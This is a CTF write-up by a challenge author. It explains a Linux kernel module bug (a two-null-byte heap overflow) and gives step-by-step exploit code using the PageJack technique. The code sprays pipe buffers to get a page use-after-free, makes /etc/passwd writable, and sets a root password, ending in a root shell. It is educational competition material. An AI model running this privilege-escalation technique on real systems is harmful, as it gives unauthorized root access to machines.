Utility Pole: Revengeance -- PageJack [LNC 5.0] - Fri, Jul 11, 2025
TLDR
Utility Pole: Revenge (Pt. 1) and Utility Pole: Revengeance (Pt. 2) are a series of collab challenges written by Lambda and I for LNC 5.0. Part 1 (written by Lambda) was a geo-OSINT challenge where players had to identify the locations of 10 utility poles, and part 2 (written by me) was a kernel pwn challenge. The vulnerability was a 2 null-byte heap overflow, which can be utilized for privilege escalation by employing the PageJack technique.
Table of Contents
- The Story Behind Utility Pole: Revengeance
- Challenge Descriptions
- Module Functionality
- PageJack
- My Favourite Challenge
- References and Credits
The Story Behind Utility Pole: Revengeance
Some of you might know that I am a very big fan of Metal Gear Rising: Revengeance (see Dead Pwners’ Society, Big Bang Theory, etc). In MGR, during one of the boss fights, evil corporation Desperado’s leader, Sundowner, fights with main character Raiden (whose real name is Jack) by chopping down a utility pole and swinging it at him:
(Yes, I went to play MGR to get these screenshots)
I found this stupidly funny, so as any sane person would do, I turned it into a CTF challenge (AYCEP CTF 2024’s utilitypole). However, as I have never written an OSINT challenge before, utilitypole V1™ turned out to be guessy and way more difficult than I’ve expected (whoops). Some reactions on Discord for example:

Since I have written challenges for LNC CTF last year, I thought that it would be funny if a second version of the utility pole challenge was disguised as an OSINT, only for the players to be greeted with a kernel pwn challenge once they have solved the geoguessr part. So, I called OSINT legend “Triangle” Lambda (who spent 18 hours solving a geo-OSINT challenge where the only clues were a road and a butterfly 🦋 – she found the exact location btw) to craft the geoguessr segment of the challenge, while I wrote the kernel pwn. I’ve always wanted to write a PageJack challenge (and totally not because I want to make a stupid MGR joke), hence this challenge came into being.
Challenge Descriptions
Utility Pole: Revenge (Pt. 1)
ROP LLC. has attracted spies ever since our website became popular… too popular. Now all communications must be guarded. Do you know enough about utility poles to pinpoint 10 locations and pass the security check? Make haste, for if you manage to bypass the security check before the next wave, our CISO will grant you early access to our newest data center, as well as crucial company secrets that would aid your journey.
This part of the challenge was written by Lambda – you can see her full writeup here (note: currently this link does not work – repo should be public-ed soon!). (Every utility pole is also based on an MGR reference which is simply peak 🔥🔥)
Utility Pole: Secret Data (Pt. 1.5)
The challenge was designed such that both Revenge (Pt. 1) and Revengeance (Pt. 2) can be solved independently, but if you solve part 1, you will get access to the source code (which is the secret data in this case) of the kernel module.
Utility Pole: Revengeance (Pt. 2)
ROP LLC.’s new data center is managed by sysadmin Jack, who spends all of his time turning the pages of his books instead of securing the server. As one of our trusted operatives, surely you can root the server and show Jack that he should stop laughing at cat memes during company hours? Login credentials are
jack:jack
, and the flag is in/dev/sdb
.
The user is called Jack
, and he’s turning the pages
of his books, because PageJack
, get it? (I will see myself out now…)
Module Functionality
This module is pretty simple and only has two functions: CREATE_SECRET_MESSAGE and WRITE_SECRET_MESSAGE. The challenge is designed such that create and write can only be called one time each.
CREATE_SECRET_MESSAGE: 0xc010ca00
case CREATE_SECRET_MESSAGE: {
size = user_data.size;
if (secret_message_created == 1) {
pr_info("Secret message has already been created!\n");
mutex_unlock(&mod_mutex);
return -1;
break;
}
secret_msg = kzalloc(sizeof(struct secret_message), GFP_KERNEL_ACCOUNT);
message_buf = kzalloc(size * 2, GFP_KERNEL_ACCOUNT);
secret_msg->size = size;
secret_msg->message = (uint64_t)message_buf;
pr_info("Secret message created!\n");
secret_message_created = 1;
mutex_unlock(&mod_mutex);
return 0;
break;
}
If a secret message has not been previously created, it will allocate a struct secret_message object in the kmalloc-cg-16 cache. It then takes the size provided by the user (maximum allowed size by the module is 0x400 and size cannot be 0x0) and allocates a buffer of size × 2 in a cg cache. Finally, it sets the size and message variables in secret_msg, sets global variable secret_message_created to 1, unlocks the mutex and returns.
WRITE_SECRET_MESSAGE: 0xc010ca01 and the Bug 🪲
case WRITE_SECRET_MESSAGE: {
if (secret_message_written == 1) {
pr_info("Secret message has already been written!\n");
mutex_unlock(&mod_mutex);
return -1;
break;
}
if (secret_message_created == 0 || secret_msg == 0) {
pr_info("Secret message does not exist!\n");
mutex_unlock(&mod_mutex);
return -1;
break;
}
size = secret_msg->size;
ret = copy_from_user(buf, (void __user *) user_data.message, size);
for (int i = 0; i < size; i++) {
((uint16_t*)secret_msg->message)[i] = buf[i]; // [1]
}
((uint16_t*)secret_msg->message)[size] = 0x0; // [2]
pr_info("Secret message written!\n");
secret_message_written = 1;
mutex_unlock(&mod_mutex);
return 0;
break;
}
WRITE_SECRET_MESSAGE first checks that a write has not been previously performed, but a secret message has been created and that secret_msg is not 0x0. It will then copy the user’s input of size secret_msg->size into a buffer, before perfoming a copy that is akin to converting a normal ASCII string into a unicode string ([1]). Finally, the string is terminated by adding a unicode 0x0 (which is equivalent to 2 null bytes – [2]).
However, there is an off-by-one (two?) vulnerability in the string termination – the index used is size
instead of size - 1
, resulting in two null bytes being written out of bounds. Usually, being able to write two null bytes out of bounds is very easily exploitable using struct msg_msg objects (for example), unless…
Kernel Protections
All usual kernel protections (KASLR, SMAP, SMEP, KPTI) have been enabled for this challenge, as well as:
- CONFIG_CFI_CLANG=y: Control flow integrity – Prevents ROP
- CONFIG_STATIC_USERMODEHELPER=y: No modprobe path overwrite
- CONFIG_SLAB_FREELIST_HARDENED=y: Mangles the freelist pointer via 2 XOR operations
- CONFIG_SLAB_FREELIST_RANDOM=y: Randomizes the freelist order used on creating new pages
- CONFIG_LIST_HARDENED=y: List protections
- CONFIG_SYSVIPC=n: No msg_msg objects >:)
- CONFIG_SLAB_MERGE_DEFAULT=n: Slab merging is disabled
PageJack
PageJack is a leakless kernel exploitation technique that can bypass CONFIG_SLAB_VIRTUAL and CFI. The technique first appeared in d3kcache (D^3CTF 2023), which was written by arttnba3. The gist is to corrupt an object which contains a struct page pointer, after which page level UAF can be obtained. The freed page can then be reallocated by spraying another object (e.g. file, cred), which can then be further corrupted to obtain privilege escalation.
So here is our exploit plan:
- Spray some struct pipe_buf
- Allocate the vulnerable object
- Spray more struct pipe_buf
- Trigger the vulnerability – perform 2 null-byte overflow into the struct page pointer in pipe_buf
- Find the corrupted pipes
- Close one of the corrupted pipes
- Spray struct file by opening /etc/passwd
- Make /etc/passwd writable
- Set root password and PROFIT
Firstly, let’s take a look at struct pipe_buf:
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buffer is allocated in kmalloc-cg-1024 as a ring of pipe_buffer structs. Each pipe_buffer object has a pointer to struct page, which is the struct that handles the physical page which contains the data inside the pipe.
Currently, we know that we are able to control the size of the secret message buffer allocated, and that we have a 2 null-byte overflow in that buffer. With this 2 null-byte overwrite, we can partially overwrite the struct page pointer inside a pipe_buffer object such that two pipe_bufs have pointers to the same page. Once we have achieved that, we can cause a page-level UAF by simply closing one of the pipes.
Let’s first set up the heap by spraying some pipe_buffer objects, allocating the secret message buffer, and spraying more pipe_buffer objects after that:
// Spray half of the pipefds
printf("[+] Spraying half of the pipefds\n");
int write_number = 0;
for (int i = 0; i < NUM_PIPEFDS/2; i++) {
write_number = i;
if (pipe(pipefd[i]) < 0) {
perror("[!] pipe");
exit(-1);
}
if (write(pipefd[i][1], &write_number, sizeof(int)) < 0) {
perror("[!] write");
exit(-1);
}
if (write(pipefd[i][1], "AAAAAAAA", 8) < 0) {
perror("[!] write");
exit(-1);
}
}
// Allocate victim
do_create(0x200, buf);
// Spray second half of pipefds
printf("[+] Spraying half of the pipefds\n");
for (int i = NUM_PIPEFDS/2; i < NUM_PIPEFDS; i++) {
write_number = i;
if (pipe(pipefd[i]) < 0) {
perror("[!] pipe");
exit(-1);
}
if (write(pipefd[i][1], &write_number, sizeof(int)) < 0) {
perror("[!] write");
exit(-1);
}
if (write(pipefd[i][1], "AAAAAAAA", 8) < 0) {
perror("[!] write");
exit(-1);
}
}
sleep(1);
This is how the heap looks like:
Once the heap has been fengshui-ed (yes that’s what it’s actually called), we can perform our two null-byte overwrite (do_write(0x200, buf);
) so that the heap looks like this:
At this point, we have two different pipes that have the same struct page pointer (and hence use the same physical page for pipe data). We can determine which of the pipes these are by reading from all the pipes to see which ones have been corrupted:
int number = -1;
printf("[+] Find corrupted pipe\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (read(pipefd[i][0], &number, sizeof(int)) < 0) {
perror("[!] read");
exit(-1);
}
if (i != number) {
corrupted_pipe_1 = number;
corrupted_pipe_2 = i;
printf("[+] Found corrupted pipes: 0x%x and 0x%x\n", corrupted_pipe_1, corrupted_pipe_2);
break;
}
}
if (corrupted_pipe_1 == -1 || corrupted_pipe_2 == -1) {
printf("[!] Unable to find corrupted pipe\n");
exit(-1);
}
sleep(1);
Now, we will close one of the pipes, which will free the page, giving us page-level UAF:
// Free the page
printf("[+] Get UAF on the page\n");
close(pipefd[corrupted_pipe_1][0]);
close(pipefd[corrupted_pipe_1][1]);
Now, all that’s left to do is to reclaim the page by spraying some critical struct that we can corrupt to achieve privilege escalation. In this case, I chose to spray struct file for /etc/passwd, as corrupting f_mode inside struct file will make /etc/passwd writable and allow me to change the root password. There are other ways of doing this, such as by spraying and corrupting struct cred in a DirtyCred type attack.
Let’s take a look at struct file:
struct file {
atomic_long_t f_count;
spinlock_t f_lock;
fmode_t f_mode; // Controls read/write permissions
const struct file_operations *f_op;
struct address_space *f_mapping;
void *private_data;
struct inode *f_inode;
unsigned int f_flags;
unsigned int f_iocb_flags;
const struct cred *f_cred;
/* --- cacheline 1 boundary (64 bytes) --- */
struct path f_path;
union {
/* regular files (with FMODE_ATOMIC_POS) and directories */
struct mutex f_pos_lock;
/* pipes */
u64 f_pipe;
};
loff_t f_pos;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* --- cacheline 2 boundary (128 bytes) --- */
struct fown_struct *f_owner;
errseq_t f_wb_err;
errseq_t f_sb_err;
#ifdef CONFIG_EPOLL
struct hlist_head *f_ep;
#endif
union {
struct callback_head f_task_work;
struct llist_node f_llist;
struct file_ra_state f_ra;
freeptr_t f_freeptr;
};
/* --- cacheline 3 boundary (192 bytes) --- */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
First, we will spray struct file by opening /etc/passwd many times:
// Spray /etc/passwd
for (int i = 0; i < NUM_FILES; i++) {
filefd[i] = open("/etc/passwd", O_RDONLY);
if (filefd[i] == -1) {
perror("[!] file open");
exit(-1);
}
}
Then, we will corrupt f_mode by writing to the other pipe which contains a pointer to the victim page:
int f_mode = 0x480e801f;
printf("[+] Overwrite f_mode\n");
if (write(pipefd[corrupted_pipe_2][1], &f_mode, 4) < 0) {
printf("[!] write");
exit(-1);
}
Something to note that is that the offset of f_mode in struct file is 0xc. Note that in the pipe spray section of the exploit, we have written a total of 0xc bytes (4 for the index used to identify the corrupted pipe and 8 “A"s) to the pipe – this is such that when we overwrite f_mode, it will continue writing to the page at offset 0xc and hence corrupt the region of the struct that we want.
Finally, as /etc/passwd is now writable, we can set the root password to whatever we want:
// Overwrite /etc/passwd
char passwd[] = "root:$1$ropllc$IIMFfZVFOxSobsxG9DyYu1:0:0:root:/root:/bin/sh\n";
printf("[+] Overwrite /etc/passwd\n");
for (int i = 0; i < NUM_FILES; i++) {
if (write(filefd[i], passwd, sizeof(passwd)) != -1) {
printf("[+] Creds: root:jack\n");
char *argv[] = {"/bin/bash", NULL};
execve(argv[0], argv, NULL);
}
}
Now, all that we need to do is to su to the root user and profit!
jack@ropllc:~$ /exploit
STAGE 1: SETUP
[+] Opening device
STAGE 2: PAGEJACK
[+] Spraying half of the pipefds
[+] Performed create
[+] Spraying half of the pipefds
[+] Trigger vulnerability
[+] Performed write
[+] Find corrupted pipe
[+] Found corrupted pipes: 0x1b and 0x47
[+] Get UAF on the page
[+] IT'S PWN TIME!!!
[+] Overwrite f_mode
[+] Overwrite /etc/passwd
[+] Creds: root:jack
jack@ropllc:/home/jack$ su root
Password:
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /dev/sdb
LNC25{I_7H1nK_1T5_t1m3_f07_J4Ck_t0_L37_3R_r1P!!}
Hope that you guys enjoyed the challenge! :D
My Favourite Challenge
I would also like to take this moment to give a shout out to my absolute favourite challenge (written by Kairos) in this CTF, which I believe is of insane impossible difficulty:
Touch Grass (200 points):
its time you look away from your screen and touch some REAL GRASS! take a picture of you making an “L” with your hand and using it to touch some grass, then open a ticket with that pic to get the flag :) sample pic given below (leftmost in the collage below)
Here are some responses that we got (including fake grass and AI generated grass 💀💀💀):
Also, if you enjoyed the ROP LLC. series of challenges in LNC 5.0, there is one more such challenge:
World Marshal Web (by Lambda):
ROP LLC, the World’s leading definitely-not-evil cybersecurity firm, is under growing scrutiny. As their newest intern, you must make ropllc.com popular so the company can use it to spread propaganda - I mean, spread their Good Name - more effectively.
You can access this challenge here.
References and Credits
- https://github.com/arttnba3/D3CTF2023_d3kcache (Original PageJack CTF challenge)
- https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf (PageJack paper)
- https://terawhiz.github.io/2025/2/oob-write-to-page-uaf-lactf-2025/ (PageJack with struct cred)
- https://r1ru.github.io/posts/6/ (Check out his kernel pwn series!!)
- Lambda for Utility Pole: Revenge (Pt. 1)
- Lambda and Cryptsaria for listening to me ramble about kpwn and MGR
- Metal Gear Rising: Revengeance (memes are the DNA of the soul)